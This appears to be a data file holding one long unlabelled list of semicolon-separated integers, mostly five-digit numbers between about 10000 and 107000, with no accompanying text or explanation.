73432;100535;60606;72105;77986;29950;53016;93602;96386;82812;37324;22436;20353;18670;47587;33042;85224;56277;105819;23454;76550;95415;15215;102696;11423;43095;45455;14265;70106;73905;38823;97140;54103;24395;22018;86324;44730;56747;26875;43284;102934;105526;89982;88982;89572;103047;90902;101582;59576;91330;67839;94527;68789;19358;89260;54162;42673;29598;96387;16326;94366;64819;54919;86636;87194;78226;30913;83801;68092;88978;76958;26859;66553;64205;101621;86480;102708;82937;19788;54704;63333;12952;91856;10682;28776;23609;24507;85217;16918;67359;18477;54408;28804;11280;88387;37425;58407;67702;16340;59716;24457;38631;15597;53578;38812;48900;63889;64935;14504;41720;106994;51700;75325;61914;49339;29883;90079;68150;101186;42411;21294;39752;28717;38719;45002;61870;44872;63620;14140;72404;88389;58685;31675;100719;64923;46996;28743;36814;32330;91197;94400;34490;58335;86560;36860;14662;43064;10196;84667;57591;41010;22135;40152;56131;100390;67092;43961;32147;21454;81454;79998;39670;92311;67116;85000;85536;40583;36398;91087;32087;36069;76623;28077;87723;46295;21415;103261;38657;63025;50671;15040;13226;81310;73277;30590;104628;26436;14425;34153;78613;77643;45521;78885;36959;81418;15256;11470;76659;15643;62157;43968;55780;82170;50043;79366;93668;105582;105044;20456;88562;54669;83716;69603;37689;31205;26062;31653;99574;14776;16662;35288;44187;90596;32862;24255;25530;60438;86821;64116;14193;35714;59187;83686;12975;55415;76609;45339;68130;100608;100247;100629;27675;46547;41839;42038;75775;56164;96829;58289;93597;20522;33614;31933;12976;100097;50686;19574;19852;85123;93603;22042;99172;69706;27162;10472;21300;15791;37228;76232;84232;102906;84982;64172;48245;91351;56185;54748;103511;33840;35907;79081;92975;92147;67044;13314;92203;12399;20728;86579;50707;63052;84551;106525;86800;47130;62373;83695;89542;82177;27437;102914;73010;35256;55730;26932;70263;30551;96563;82495;101135;42516;104254;200007;58939;62758;94044;65011;31835;82345;101431;73413;97451;99183;64781;91204;83590;68837;86195;45289;78258;23549;25523;14497;97315;26406;105868;31820;27254;46340;67608;15667;42668;40226;67748;97426;61071;24060;83906;75925;60651;84784;82341;84877;87471;101527;106635;89038;83167;47093;55219;77916;15858;105772;18151;102857;60152;67492;96155;54474;100666;40180;80686;43513;65276;11367;13438;43489;75447;23201;33611;22385;106866;17750;27458;41982;68851;47248;32233;31624;80669;76200;72798;50701;27698;25782;13125;74590;40943;13507;63662;72914;95922;17190;76414;24827;74178;70484;47206;85661;64344;97658;85019;75358;53532;10653;80536;50353;19775;64922;81205;71021;93522;23252;73473;43003;100196;90597;22976;40438;19794;101024;82284;106949;14473;77884;93341;69710;81263;34123;10943;60702;27434;77493;24132;91240;57206;87496;48342;30359;100918;86353;80741;10945;86747;27553;84627;53693;40145;61227;102521;40487;49114;37837;40384;49912;32645;56665;52933;40788;65140;101719;31030;30976;29201;93821;95981;64466;59180;22758;55212;45994;83805;76253;14137;106597;56519;18705;17819;66484;66901;68011;48822;94526;76218;27475;34154;104801;13029;73597;74131;78338;69980;40038;101323;38276;102970;72553;92420;84590;99559;63437;66846;66519;73832;67253;15445;73775;32001;56785;91170;37345;75411;31780;100241;48559;76238;91940;106634;83934;38351;63950;71144;104791;51470;27533;66842;94082;21440;72044;65418;102775;19624;44502;12466;79802;29989;57885;82768;62416;25584;90943;82118;105473;21662;51259;28623;86128;24923;11980;77230;75229;32061;48986;79373;104696;61918;24821;74864;95577;71387;61927;77749;77426;105086;91185;56480;79719;16265;59764;45774;84270;68964;92601;99914;27950;34179;60224;50235;54096;29035;63687;25313;55315;24656;23768;64302;27877;23119;88129;72765;54681;13948;43263;101217;59794;81511;89220;55148;20515;45432;54177;24011;83741;46675;72324;105376;31302;90583;76270;47438;22804;25272;53409;83762;84480;10605;105484;71970;82365;62860;22496;47707;36659;91861;67490;94245;25594;36464;52610;105704;14422;39498;43894;82459;68861;35756;81524;90388;105342;65861;91925;39171;66470;62935;95273;88457;63367;60935;72384;58928;105276;104539;58635;63736;102780;36432;65230;40314;45461;90663;15257;91207;55031;29119;41302;40368;76322;79500;26939;63216;28745;102898;39538;49110;65720;67593;94250;85446;10093;56352;75851;93147;37482;79627;25606;50171;80748;26661;52347;100348;101076;63150;50343;17462;69278;92081;34936;68510;63306;50015;86710;28700;28587;58618;13122;77892;36922;84087;14430;99582;11038;32467;29803;25369;56536;45800;13552;95824;26306;45583;81526;19376;72865;22974;34040;84979;50926;83660;34258;90732;106690;69247;43897;20832;61574;42713;39584;21940;57571;92514;67187;57388;25509;85765;85327;78425;65441;36382;41114;86995;68799;38920;23117;21137;66985;92453;13553;22762;105279;53085;59254;15800;82939;83474;82109;55318;52365;13810;38824;104093;101925;63171;13162;43472;47446;103126;32015;102214;72351;51894;73479;62978;64818;45938;69226;99879;41952;21540;47530;36815;87600;80937;23596;70185;104515;61509;60474;49727;51253;36665;29202;73719;17631;48510;60137;87679;13749;39674;28636;55628;70578;40724;97406;33743;36167;47643;14622;68733;41021;32611;17221;105814;70480;94987;47299;18743;95429;32032;26788;54215;38349;35004;106788;104017;41371;79112;64051;26689;60183;93030;56748;100646;44678;60974;26232;20029;97992;97113;97165;32748;105768;49799;82952;63600;200056;33082;12807;11444;92113;74399;44775;56040;53838;57553;32575;30385;57056;26917;53435;96763;34487;77755;93096;57989;78220;43523;85923;62092;22458;15720;87337;36090;15625;100543;26981;31562;31778;104405;102022;63775;48384;64946;21651;14538;67173;65627;101095;24072;94529;16911;66207;36499;54574;74022;55084;33256;55072;59652;12565;42127;33422;63536;61052;75144;78656;105151;51990;46144;74769;46508;96570;59586;16371;65700;74054;93088;88815;50733;21082;86050;25499;49327;64319;76682;15203;91886;104208;66778;52530;82402;49347;44149;35571;22511;83701;97417;85606;55066;19862;68606;33782;20610;55531;64978;81198;46519;37729;104351;102811;72696;106205;45766;45628;90143;80508;49654;71477;78558;46382;63410;74479;29530;50645;12288;15107;96247;34187;95813;61070;51895;68089;48799;90787;28219;19167;42583;34328;101381;14588;43708;32923;21336;33889;31773;86776;84731;61639;93281;41439;13439;58320;34711;99846;46177;22506;24924;29408;71127;28261;35417;10967;74435;104756;90642;81411;69102;106649;33698;102365;66171;73177;88812;64927;19744;106495;92043;22881;51781;43459;104087;63442;19824;71555;23929;61842;26015;31362;103320;74301;100776;100507;11371;103271;22726;67769;63149;17345;89127;58279;72923;71066;62822;10647;103371;92716;78781;21987;46373;27318;55952;43036;22265;26132;15096;39336;103208;21337;82144;15601;66169;44832;93385;95826;28668;32285;20122;88720;51377;95361;82785;13495;37064;62139;25204;33052;54234;90019;26366;17372;14649;47540;32793;84801;60086;21666;92338;48839;28116;54941;20290;46077;35102;34637;89678;104391;81954;78929;34222;30568;44164;68182;50377;16139;34279;78315;20585;84261;77241;41996;27692;91083;71651;36403;104193;28467;71026;86532;49132;97445;93830;18423;106200;79848;68145;69087;64584;33843;19733;66564;79358;70900;91851;64878;60672;82424;34966;43460;101556;49031;54189;79394;65065;11533;77133;61770;81899;22513;33874;104771;47842;14854;96045;14871;100995;56998;24264;22239;64995;43394;46156;40333;87867;64795;58874;95446;44701;58576;90924;37898;43110;33144;52290;63615;32775;48821;52558;43441;15214;11252;69479;12884;32955;87882;58731;101822;34848;20186;88761;65293;28480;61318;90960;55151;15268;72876;41353;10227;71776;78900;74571;22477;17029;52343;59953;25031;91892;94973;83623;26503;37439;52405;23507;79052;103397;25032;66449;66496;91013;60712;24318;63003;24853;11999;40663;54553;38283;48309;36806;88123;40480;90205;31263;17679;86240;75371;26765;50838;76556;104349;38587;79828;10810;107118;78348;67190;103482;54037;52653;34686;71281;33250;58885;63855;15007;54745;91683;100755;15414;103497;81651;103846;28453;85252;90501;53469;46221;52893;20454;64847;71178;89656;83822;73276;52287;30893;65531;44323;19822;21494;72102;37035;80095;30917;40217;38661;72052;78091;30143;16441;78593;16494;66959;69027;11996;94555;59156;83409;34748;56671;45954;38220;77526;103702;105831;47014;57083;33484;29651;81542;15917;13978;47810;33723;88712;43535;41730;34627;31746;43245;54604;73331;36995;20997;89124;44474;49709;36319;69351;18782;53308;29715;94665;72854;57774;21480;100878;28043;74925;10169;75363;88040;52992;101871;45210;96717;54573;77424;48411;32605;23358;62404;51106;56863;57499;28520;83863;60884;14966;83646;61067;11893;97545;37301;57111;106729;84283;32783;91485;89339;16350;37780;24037;59527;39880;16445;93625;41484;17460;49538;26328;66596;34506;37857;43178;58861;104418;44452;30797;38770;82881;24749;59535;97568;78441;51780;72383;87014;40098;13840;86438;56873;44552;78696;93748;52129;15532;74557;18978;96784;71432;43768;76531;80853;79670;104396;75471;106000;106401;44219;53735;24593;61433;10126;83017;42748;19876;87215;76053;82265;96379;79958;106274;78762;69054;87244;77368;18904;89087;41699;32276;40737;55853;73731;80863;103774;23819;68791;92686;24200;20570;93546;93000;23057;104894;77556;23047;58958;55702;42774;68158;103481;81056;84831;96762;68039;104242;10949;69401;103097;64939;10036;21739;42321;19178;95514;20683;72740;50180;92779;37237;103498;79472;93584;96424;89485;94924;95649;16742;44759;63795;14732;32427;27065;59028;72125;55352;100325;79016;57019;41129;80869;101500;97075;30063;73945;44085;56454;72672;39145;61280;79376;200013;34172;95410;56058;105712;21468;12752;71729;67787;69489;59296;90031;69916;95690;93475;20364;48979;52093;25798;68351;73500;49695;84120;41110;91078;63291;56573;53108;31966;57846;43022;21745;10754;66033;101415;99235;101065;50237;45999;44344;24438;82437;64404;86013;10125;48203;47487;44313;36846;79806;13624;42290;51137;72750;31510;105570;73079;14267;90499;73607;81722;62524;55310;48493;80027;47818;29688;60059;17104;69205;17584;87388;64618;42001;89427;14643;34760;11104;69711;71033;44035;42118;99444;50997;13322;20035;28384;60635;40482;100105;32787;75077;74394;72736;77750;83788;55255;69431;90163;13100;84764;62954;42688;79870;13789;12419;79777;51378;25946;25202;105738;49899;16618;96108;105504;32674;85302;100326;86810;40557;103359;21692;95913;93918;35654;50006;27299;10096;74080;89580;32409;94301;42982;39060;15744;24353;74265;74503;58705;36166;62381;103222;86960;13750;46251;40448;23387;15409;14876;36104;97824;86378;88073;26854;11662;82901;65314;41994;106184;51012;42957;21700;26974;92316;65083;25546;22895;59329;97778;13667;53025;43558;18049;60128;37843;18792;74870;96634;30261;106221;56152;94050;44191;29926;68007;38254;46665;44356;62701;39174;106444;26900;74094;10190;64712;18368;70729;100885;20267;62245;54498;31314;59560;31853;70801;67954;66394;79978;90719;25843;17770;97092;94999;72222;51283;44567;97203;94739;21764;17401;58108;61410;73580;79211;66817;51007;70631;60488;93646;64387;76960;20047;17817;56422;72835;77872;52579;54965;19940;59719;101159;32206;63108;96556;52293;65027;46581;68846;39944;60760;102425;103280;82712;70977;23800;103849;104265;31165;102316;68579;11225;99312;70334;94306;21715;14036;34399;90507;86490;93816;102378;90977;32839;23149;86065;82342;101918;65768;16568;73809;99051;94469;77623;44995;93297;35191;26370;90279;17289;94608;88039;21520;41579;27769;31747;76632;59533;49152;96757;46421;38071;102617;106995;50556;106136;67012;62502;33251;65885;15398;74660;33509;54907;40041;95864;90599;13593;20143;77891;83230;87318;102848;27854;42689;42524;38518;12710;85411;31935;85605;65171;39265;103747;88439;31130;66729;19562;24742;61703;23510;88406;104062;92914;47650;70116;60214;106194;46664;84734;69639;30507;95283;100893;97947;99240;84626;45736;90657;11758;50990;21189;68297;35817;34327;92052;23840;73359;106375;76272;85639;27368;13043;87657;92822;106369;22150;75394;75029;29808;102177;36169;81504;12343;82283;34671;87993;72490;86422;75085;35086;67305;35483;75963;11373;12745;92261;81973;32648;106767;42249;23690;104139;64766;74093;57982;46230;46247;24614;69040;71621;33966;68070;39063;72982;86259;22553;34448;101927;80050;92476;90445;36863;41707;106384;200093;59301;53011;53490;96423;91653;60534;83425;85818;59274;31723;51629;61128;21495;61451;23111;102050;102770;89942;34739;40864;44466;70719;28590;55160;24629;24308;37055;43087;74072;103237;89945;93130;80570;70078;25117;77955;60611;59975;80279;71106;56167;12057;99195;92129;65179;48876;55128;61200;82352;64807;105300;68757;10683;59001;102723;46397;36389;31749;82502;15131;66699;23587;80806;104751;53248;23947;13095;103989;67109;95311;82404;46765;17617;32195;92624;71623;71658;39630;74994;79209;100381;27521;25993;95718;30105;22473;86257;33751;40409;35441;43989;97587;26371;29815;77252;22921;39348;104822;53460;10491;19078;28547;60276;78603;83252;14407;59398;68904;33904;23415;50002;15356;31590;52800;57190;12461;25358;72673;52785;33991;12772;10767;59220;65586;101149;80848;95390;96316;27611;52260;84732;86354;41636;12063;37674;84476;64620;82387;47614;80419;31829;53049;30967;80587;34126;37650;54179;28143;87508;50629;54588;33616;42022;35901;94393;81477;96769;52964;59016;23624;63759;40094;89584;62252;39661;102911;13691;103120;99078;75126;26994;17381;58972;85087;22088;66293;40354;70038;34255;74855;47278;46322;78115;23213;72099;35554;15218;72599;13168;89031;101665;90042;80322;49293;15128;69352;85705;16400;40381;45022;79650;37360;74616;105634;64880;39157;100022;61146;96917;71076;90234;86178;69919;94662;92283;85813;78343;103016;42437;60461;80962;56973;15110;36812;17524;92161;83721;91754;21199;105010;69432;90477;58156;46897;36457;28010;96346;67081;11549;48535;31637;102694;41036;10146;11653;104511;105103;79976;59538;57472;77602;67105;66237;51061;87564;49648;66483;39995;83813;94912;59108;14101;60659;58905;33688;30948;67981;42580;23426;83401;21558;99807;97934;17610;92960;33774;74188;100427;83059;20908;103727;94774;53588;34152;29591;23457;12245;43115;62970;70503;20657;27889;49893;27186;36551;70994;44515;65594;31058;57509;77243;22036;78317;14541;18982;92588;76565;104027;99277;55476;85754;55790;16775;27935;80605;84143;81003;29806;92665;66230;17472;92271;30368;92400;96751;37866;78983;22358;65384;16426;30519;95442;52730;55399;102288;91481;89437;54310;93822;64991;70576;106519;83309;66165;15344;53666;22113;93661;86063;39094;96901;73195;53541;29560;69233;14332;90978;53967;79121;103317;60099;71622;103793;96034;57519;92680;16193;46104;69828;82312;93486;64771;75151;90129;99247;32357;60419;99331;92101;32718;64343;36163;19192;26568;10159;53498;48925;83875;62094;100883;93662;62730;88420;54545;79051;60130;72283;30817;10830;53227;105259;47671;25474;76025;82516;89144;27765;102845;13277;89649;59299;88651;19787;17341;106893;33483;44948;67956;74760;74619;56834;92060;29669;64316;17586;38862;41767;103863;11926;92887;70637;102449;33971;46867;40366;19030;53930;29425;87857;59005;68872;78508;100376;103808;85317;47875;34420;71444;32447;21187;33009;29995;69258;12033;11321;15478;74913;71279;35201;12490;16958;61762;74538;90592;17508;95547;65572;80544;74544;39766;65593;31824;34245;101150;19315;48893;90570;15094;11465;11494;69194;38049;40257;88510;55226;80670;49911;24150;33946;18636;74381;25638;20647;78887;23821;32098;101848;24427;13104;46518;53662;105207;92702;56943;104642;69417;27615;74023;60622;15368;38249;75782;13213;71322;103488;10016;58030;41147;87599;19723;78660;105015;11640;104812;68839;81563;79407;23712;82891;38592;59355;49148;18291;54951;67346;95414;96877;88038;56118;53027;53898;32774;40862;42202;87843;54137;73128;25554;87896;48645;75293;74703;23889;81210;14601;29580;61155;54065;20763;33084;21517;83830;72860;81814;77031;28689;35964;105979;36119;59912;38914;87292;35828;46289;37434;57357;60236;106611;50185;66423;16788;71379;49996;82930;95927;92947;23312;21370;78463;99645;53353;77925;97797;41832;71698;82843;18317;72528;103783;21086;26388;32051;26572;52770;22946;24946;26265;58187;95054;87572;74257;106106;28002;42991;35101;101563;11386;22614;42082;66352;11437;65424;103008;16798;101482;20704;21926;65922;77349;64691;38664;103756;70784;57187;76047;69042;88969;48264;45515;17489;92891;95585;48712;71965;47591;20257;49183;18930;45869;81786;15939;92669;88606;29257;54109;63099;86591;106413;81596;69304;13815;75707;25279;106102;15836;70401;30020;56453;31041;14550;85696;27525;29957;56996;24889;89599;10552;18309;82418;36732;11262;78927;64586;94401;59470;45127;49641;79036;105204;49712;46602;47074;31739;21164;56385;46462;25079;67663;21880;82166;26202;69798;19927;64554;13690;31022;39998;73748;59943;15338;69921;49122;96054;82160;82412;90976;52590;69554;86158;101399;55620;38216;85768;48238;59202;24194;59820;68509;58684;86144;57263;96870;73996;62256;57834;24773;48648;102852;74747;102992;44977;39946;32425;12118;71131;34804;25568;23550;36742;28970;80682;52174;28819;80501;72230;79117;39393;63567;66216;106193;20747;46164;46022;70963;22080;102880;23032;15261;85466;37566;100224;43615;40868;61439;26456;14787;50729;56180;47806;85264;89471;88491;100257;68095;42530;32901;88395;66090;16648;88836;51773;103934;69960;57102;23692;11740;80840;68648;40827;102734;10018;64423;89028;42197;93193;42013;82420;16787;33038;92148;42787;38857;62291;73823;70532;20449;44611;60000;49761;57959;22388;96588;76670;69507;18208;42253;40533;17119;105208;38456;26466;52097;93958;80515;26264;63033;45246;54202;27586;21607;16182;77199;50074;106008;43338;44074;106130;61361;44001;20995;86646;19139;39700;92293;58318;43381;51851;68586;100736;45304;31283;96138;83521;64742;79271;50750;39294;49049;69530;74915;30618;85629;66617;94324;49674;62041;87831;89425;34717;101770;63468;90846;69435;42589;40769;99122;28363;61976;27332;82518;84485;43512;97560;61317;63869;10831;63457;91946;85628;46265;47752;76920;34701;34590;41095;30082;24283;61315;82332;51325;70565;55974;50013;66539;97272;35425;47349;58271;20370;41074;70853;72703;15411;71617;40723;68490;35830;14116;16226;76264;49365;58875;82475;94276;55547;44161;69514;19916;55623;53560;72732;74352;73147;100058;60542;64022;55990;41696;82176;16563;73617;30942;100450;97544;24016;37188;100767;18027;16699;15691;12285;59660;24026;75114;11974;53477;83768;79724;77704;59014;64577;105217;37421;40897;92792;74371;58081;41891;64657;101182;63716;33917;23686;101507;100742;39957;73368;82668;68083;92992;80476;26716;77108;55499;87323;64833;102893;89722;13176;87231;35335;97790;13115;66592;106590;57275;49869;38712;33168;93327;29365;104846;86847;89162;52841;51332;86885;80351;43572;43965;57116;67239;18593;47078;87710;62666;10003;92706;51275;84616;23617;101220;92930;55666;104315;24305;60140;10797;64775;43839;68282;83726;67695;104237;31183;46057;38252;41385;99492;101604;64862;17447;82250;25605;92623;22391;92617;55004;50468;10596;101267;20631;57723;61401;73754;97388;23645;100345;61112;100225;73828;51297;90797;14384;102132;101110;79020;10270;67723;57712;73929;32307;35552;56593;95014;105543;71533;89388;43772;81631;56527;45946;55758;41425;56079;37032;73700;52953;42448;81041;97225;47869;72313;35438;73062;86062;106076;33445;99342;91528;94878;49352;45284;42106;73978;93245;28663;65459;76406;64000;18348;99719;81863;101063;39625;30886;57511;56879;18473;26483;96169;84650;85459;54267;21653;21566;22504;58978;31224;22077;47856;62961;46189;87816;16724;47338;59755;62391;92909;13714;92764;13809;35195;59804;52340;38296;64120;97849;59346;92354;94001;49006;23941;50248;38723;52901;100209;88483;102194;87492;29346;78876;70500;29397;73967;78764;85576;69334;63937;15789;103424;43102;72598;37255;28861;10141;64686;30161;38177;56242;27320;105753;50796;29459;84074;44018;75292;86626;15086;75009;19573;83812;70339;21547;38886;62285;55345;43325;94159;89058;46604;27321;42750;93170;12119;70016;52554;51083;82159;32715;103132;46268;92000;44010;29971;99643;37242;48911;47160;101027;20987;19804;52509;22038;49921;49901;92625;80886;61719;35770;90130;84446;42623;68113;66327;81793;86711;24403;29719;28202;21333;72705;56681;49170;48488;57988;55475;61396;104745;20755;14359;74306;55229;100842;87589;39593;38796;51782;67314;76346;33037;90504;13916;22481;41757;56257;68745;80044;69689;46481;82696;74087;49786;25603;42117;44041;23479;13202;94074;87989;41628;86998;78891;82476;90053;26149;16978;57932;58085;90706;50440;58754;37842;41432;59616;19014;100360;29763;35634;19525;54994;74074;31886;20237;70858;51812;70909;50391;42662;53540;89914;83766;97227;62901;75432;17837;28185;30001;35990;65516;24126;27945;55699;45492;86187;40553;15634;37357;99348;84458;69147;33739;52475;29697;36207;43267;69845;74327;52944;32776;16770;18397;81817;99374;73678;78625;104256;58649;52781;84487;69250;80491;20446;62451;11237;67988;62873;54285;42332;68398;103720;88565;103088;36743;16659;31034;42518;30412;102143;31789;65518;56211;67765;105357;15008;66478;16858;100556;102665;100043;83347;24887;75489;13921;96826;12049;23720;71840;49656;70706;27188;75464;15887;37142;44570;69904;65482;31716;15820;89510;84453;83627;99059;15027;71075;34545;69852;64966;100436;106171;10325;58116;45061;84808;100037;41745;91029;32305;87523;73765;79041;19673;70141;59381;101562;62251;73820;91180;73585;20362;87431;14585;30095;54944;32112;34665;101190;59483;62338;59986;18462;56333;70515;106931;100782;200033;66328;37117;45653;73003;33450;58069;69261;84366;48539;19151;34523;20966;59141;75897;101376;57035;41899;76521;79555;20830;15665;81189;10592;103593;72215;78600;35107;84821;106349;97575;14294;24491;19736;93618;38593;39851;30172;20255;37407;18892;54268;40510;75019;81981;57818;37211;54983;97484;86190;84114;77684;62834;38983;106703;62545;99224;60324;93577;101688;51784;52100;106858;78799;35887;84758;83097;97543;21200;76421;52142;39195;34555;57396;64424;43406;55305;39227;35040;17301;44091;94900;59245;13905;74066;51266;46791;20761;41378;23118;44563;35577;83710;53550;27709;76073;22671;26017;51822;84241;50594;16044;59567;17224;93407;33318;20094;65795;30177;60779;76710;66654;79128;18218;21772;85079;64491;68206;70857;77697;60087;55087;42329;26515;35875;37985;99892;41033;56396;52064;55939;83232;50192;11285;56949;18114;67871;66261;91903;91563;72276;100441;106180;70830;22790;103274;95302;30336;11438;26393;63219;16109;87567;66665;88131;38814;83372;91969;28298;89140;67710;103800;14379;56758;15119;34625;95427;74548;27154;23522;55616;52432;99861;93642;47297;48831;42585;89994;95451;52806;54250;90720;56475;65704;72021;24529;64787;18010;73742;79045;42285;85088;97643;87287;46363;86863;23731;59612;67826;25786;102612;89585;70773;71790;71590;71246;69301;86923;36431;51621;106332;53048;103143;68965;87814;73561;61672;32331;92085;94481;78215;25897;85447;28755;31700;94939;57794;29261;48990;69370;33580;47219;73763;15422;71738;68662;51509;70529;77253;13781;38649;96437;80701;61428;40720;31160;104341;95635;86726;76251;14579;73654;70025;100664;33159;104614;97161;64330;12936;28685;23286;66373;25444;31166;74174;84507;87562;75214;83911;54192;37698;81921;70596;80152;52985;25397;102382;30653;40006;64572;65654;21721;18398;44024;45739;43454;36387;47108;27291;25115;41539;107140;42743;84806;25256;42615;39510;40329;77115;40955;35013;49631;38994;30373;21070;33125;80236;48369;32524;104410;32012;21083;79458;74062;43546;73000;37164;99696;70042;63467;24393;35962;43424;65703;40670;99895;61074;64459;36883;24201;104934;31690;32836;76831;27009;83984;13985;97495;91024;58844;24045;66429;50728;31038;19317;36854;72255;95404;28542;30144;62044;15837;11145;76197;49685;46209;69667;96061;87281;19059;89367;19965;47527;36019;37912;32451;54779;45942;28853;76201;22534;86971;43404;96725;26486;58623;103183;10067;79482;91692;76131;64113;35324;18388;82757;30299;81509;102840;12403;67018;53648;103102;20167;18293;70957;88520;69909;100012;77772;15263;56316;42568;23728;31089;77715;49760;59515;83500;97252;84956;92569;24891;43453;28554;99907;100734;67515;44019;75871;17240;39032;64165;66945;46006;40672;106843;93394;75397;76726;56534;36774;87080;69746;89767;102864;65872;42381;18994;54780;31043;60895;74032;85828;96070;81380;27689;87783;28901;101293;65242;85781;66299;88004;26063;73767;27844;25978;29548;100504;106773;76929;89319;93416;106088;46571;20452;82644;17685;83237;67362;50264;66878;14909;42920;33731;71532;13873;60222;63525;30060;46368;51623;69421;18459;106934;50244;68782;87833;78019;43761;72981;64486;94891;50470;22619;83559;90456;81692;99746;102185;87959;64067;49194;67090;38648;45206;41219;14883;33298;73288;90068;85248;57965;55276;58656;19268;76644;95274;58727;53577;50093;81600;73865;38741;58973;30005;51472;16780;19066;57812;28385;40321;71689;57022;82711;66185;11915;94716;55171;66387;45826;15786;57786;23396;94627;16614;19554;67923;105734;56045;104572;13110;23717;92464;42471;60411;50841;40702;86521;84396;81818;22784;38926;41524;76463;106025;75159;104726;53100;57763;104866;14530;89969;93271;87251;61304;72485;35420;37098;100091;77131;104670;97632;95648;13996;55444;42621;68306;78901;40536;99773;11642;15416;81047;87649;93553;33308;64069;62026;38624;38407;71864;94963;18412;101594;50785;43122;11807;25219;45757;43250;35920;12735;82017;35882;44357;105778;93358;54119;42617;55166;14734;42874;63575;97896;42425;42430;88167;18689;103440;54442;86698;39818;74895;107127;38791;89452;28516;75577;35122;29243;72892;21939;89302;66910;97723;68298;11871;30243;90959;16030;91141;22025;29047;43875;92458;35704;81026;29454;106924;26295;97478;85024;31626;87944;20221;58511;99000;46425;52472;53788;56175;84215;59283;15195;48150;19219;15059;49306;93557;37991;53904;66547;13863;24926;35307;39986;96723;69264;86691;74271;90577;86573;22180;64729;24992;10514;91035;13678;80792;84189;12615;74453;100159;101982;11167;106456;68136;53567;69635;47563;84570;60150;44560;28958;21312;27350;21386;102679;53709;14651;80352;91908;33945;84405;91462;34038;69425;65497;23959;20771;24450;65815;23381;62024;87000;29836;100468;99980;66515;29988;79294;51946;82330;49611;20248;11393;27830;17715;24244;20168;66354;42823;33925;24672;88112;15782;51660;64094;104329;27170;94067;61020;93884;46950;71979;48767;91956;49896;77084;82316;13756;49174;103982;104385;74181;55079;25067;44145;51212;74182;20633;76334;53553;57059;13451;105146;72806;46486;72646;18585;63953;68444;64725;77929;48686;16631;14423;94080;65545;48293;95510;18850;200129;94789;77163;40402;90482;34090;89142;22824;60225;70599;39303;50612;73279;59571;32854;51891;45760;83514;11002;13036;79227;81944;43134;76114;91104;31472;84227;49680;37326;91364;51002;49573;25771;17135;104115;92353;76630;44099;75391;75107;82392;69504;68690;77485;67437;26776;74316;106851;100668;66832;73707;25758;100143;64977;57778;72038;35246;47881;26177;64232;33779;103606;48741;41658;33891;104190;25682;94951;17450;79840;42495;70362;51348;46468;86310;41351;102965;19254;102578;41235;73608;67606;69063;57363;52577;19309;41921;60191;55112;17124;84844;17071;14482;80388;92925;85831;90791;61922;37086;72917;36261;52884;103625;30152;68731;31445;87803;94622;95040;94347;95936;100212;95382;85892;84907;43591;44488;22371;39836;66795;23367;21766;76021;68405;19535;19582;31790;29219;105502;32653;75597;69079;41914;30015;95282;88081;41174;21533;32840;14494;68626;37932;72199;23775;64370;19632;85462;33526;83524;104953;82045;52067;36931;38464;81701;74587;76797;22440;72050;76881;64655;74535;200109;53302;16846;96011;78323;94431;91375;73857;57384;21930;14331;78628;106745;91157;70308;26310;94785;41112;96875;79526;99205;95008;44856;48608;55850;84338;100659;14855;101907;102189;15319;77059;83373;96442;106602;16795;11110;97264;64442;29642;72357;102790;45930;79005;75166;11233;20748;20697;15991;73169;106944;72307;65568;60156;83777;72426;44017;51890;85646;33553;84873;43633;75374;17457;25070;63148;58201;31826;82161;10568;48512;31533;74357;52858;65360;64569;46337;39530;69404;84444;78484;93313;79833;21194;34034;26894;69715;57058;25394;63978;34394;32220;93733;45467;59458;57359;42026;17431;52279;27974;69975;33247;21919;19204;90281;46522;69664;14054;76390;38735;50012;84284;90119;20513;57171;18416;15358;45021;65789;38896;24931;47821;52958;63205;78816;90967;48824;104577;37888;87863;70589;58433;11620;23563;105983;61716;50271;76011;14006;63460;26109;29078;31649;61959;57213;106731;83419;66141;48550;36295;58672;36517;86500;70217;26902;58547;63341;12982;68945;60376;94619;38309;89295;62226;84870;25309;49415;92858;95902;87926;62097;68296;106862;106341;94709;32835;23676;20091;76824;66991;25950;72452;53969;89022;12821;49711;63268;81647;77383;64345;72503;13825;94641;24696;76841;106505;62353;65839;21956;95662;46378;60117;32356;81904;33343;93956;73403;79696;78969;63892;87087;102235;64176;67200;45436;83116;102009;30649;43112;63903;59555;73995;107089;63002;91729;28238;63498;63524;46761;46081;92903;67344;22354;17641;67276;80921;33049;60361;41817;32034;16924;18118;16455;57848;100580;14286;41270;33730;30350;79742;27045;79359;39585;40556;94962;83016;49377;103841;67317;86616;19581;24140;55542;102352;56624;32606;58964;90594;54270;34168;48830;45976;28132;89653;89050;89166;91415;42376;44968;77380;76160;93751;54853;49741;66674;102416;45072;86098;66928;91910;65099;10103;62016;80003;71845;94650;26121;104729;30897;101839;95591;95973;107129;76948;43195;69517;101050;101384;85139;92412;80654;19501;60109;92024;71290;74718;75935;25017;95367;39795;96172;24679;24676;24312;57455;77596;31230;200087;103036;55312;95863;99022;56423;40278;79967;22737;28523;105559;21090;73389;93620;37269;90345;95608;11215;76202;62837;26957;68770;60756;60248;97868;29165;14269;57602;25544;62755;104831;44826;87531;106618;106438;101807;91704;25479;74734;50591;24066;97015;13414;77939;14841;63126;100323;20059;14094;44608;10652;18203;25855;76972;52528;10504;67374;61562;93682;84124;34401;88161;75662;105405;69681;46566;38274;73966;28217;99264;78340;15440;64532;95646;82767;27422;78062;53628;15227;57615;20068;71821;17547;102447;27315;91295;83909;18540;17546;66616;44691;48529;34622;17441;99486;12924;51913;48908;89372;63156;65936;66974;90887;36751;49078;47280;27013;65210;102773;58771;33808;73075;71963;26583;79772;16381;82108;46442;102814;70774;64206;102094;29199;93066;49100;15301;25964;38481;82267;20595;20927;22627;90539;79610;105025;70560;90839;58170;79328;101529;102922;67802;48630;36878;33063;47480;51361;95872;31173;15296;84964;37273;97536;93974;14586;19757;37762;94734;99462;100021;107056;81559;100746;13564;88946;11935;18394;104068;44273;29664;37829;11948;32816;92462;83380;80072;36833;29141;81016;79561;77545;79084;74337;41230;35422;68285;72630;69841;12404;17527;31117;30660;99887;90481;88540;20034;105435;33646;69191;34751;64087;39373;76460;23376;102153;35774;57630;24098;20020;35968;100838;77033;48472;75636;83835;67510;90761;58396;26439;71816;34785;74854;65141;32996;81040;101786;54918;61521;53365;43202;76425;72428;85329;105031;36346;26622;70241;36286;18774;55982;29549;87555;58290;54095;103583;66816;37501;43057;76068;31390;105241;21018;84102;58155;42640;20913;104010;81903;50127;106291;58835;45857;95379;64633;200010;45373;89423;33836;45448;35797;57644;55002;39147;97477;41065;72078;37123;60300;105220;82704;38028;33015;38801;30047;56375;55626;62312;64816;56017;89761;35403;65456;38577;66636;79817;69484;19378;